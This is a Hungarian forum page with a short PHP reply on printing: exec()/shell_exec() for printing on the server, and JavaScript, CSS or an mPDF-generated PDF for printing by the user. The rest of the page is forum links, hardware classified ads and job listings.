A php.ini fájl helyét a phpinfo() megmondja neked. -
disy68
aktív tag
válasz
norby10 #16159 üzenetére
A php a szerveren fut, tehát php-vel a szervert lehet nyomtatásra bírni. Ha ez a cél, akkor a php-vel meg lehet hívni külső programot, ami ezt intézi az exec() / shell_exec() függvények segítségével.
Ha a felhasználó nyomtatna, ahhoz javascript (ezzel csak a nyomtatási ablak jön elő), vagy a böngésző nyomtatás menüpontja és egy jól formázott oldal (css) használható, vagy php-vel generálsz egy pdf-et (mPDF) és a felhasználó azt tudja kinyomtatni - ez a legbiztosabb módszer arra, hogy mindenhol ugyanúgy nézzen ki a nyomtatandó oldal.
Új hozzászólás Aktív témák
Hirdetés
- Samsung Galaxy A54 - türelemjáték
- Intel Core i3 / i5 / i7 / i9 10xxx "Comet Lake" és i3 / i5 / i7 / i9 11xxx "Rocket Lake" (LGA1200)
- Nintendo 3DS és DS topic
- Synology NAS
- Kerékpárosok, bringások ide!
- PlayStation 5
- Külföldi rendelések: boltok, fizetés, postázás
- Autós topik
- Call of Duty: Black Ops 7
- Milyen okostelefont vegyek?
- További aktív témák...
- Core I9 ERŐMŰ Lenovo P1 Gen2 (8mag/16 szál 32Gb DDR4 1Tb SSD 4Gb Nvidia) laptopom eladó!!!
- Új Dobozos Lenovo Yoga Slim 6i Gamer Procis Ultrabook 14" -35% i5-13500H 16/512 Iris Xe FHD+ OLED
- Új Dell Inspiron 14 5435 Ultrabook -50% 14" Bivaly AMD Ryzen 7 7730U 8Mag 16GB 512GB FHD+ IPS
- MSI Thin - 12450h, RTX 4050 és 16gb RAM + 1tb SSD
- HP ProDesk 600 G2 SFF PC, Intel 6. generációs CPU, SSD és RAM nélkül
- Apple Macbook Pro 13 2020 - M1 - 8GB/256GB SSD - Touch Bar - 102 Ciklus - 99% Akku - Ezüst - MAGYAR
- Azonnali készpénzes Microsoft XBOX Series S és Series X felvásárlás személyesen/csomagküldéssel
- Bomba ár! Dell Latitude E5570 Touch - i5-6300U I 8GB I 256SSD I 15,6" FHD I HDMI I CAM I W10 I Gari
- Azonnali készpénzes Intel i3 i5 i7 i9 12/13/14 gen processzor felvásárlás személyesen / csomagküldés
- ÁRGARANCIA! Épített KomPhone Ryzen 7 9800X3D 32/64GB RAM RTX 5070 12GB GAMER PC termékbeszámítással
Állásajánlatok
Cég: Promenade Publishing House Kft.
Város: Budapest
Cég: PC Trade Systems Kft.
Város: Szeged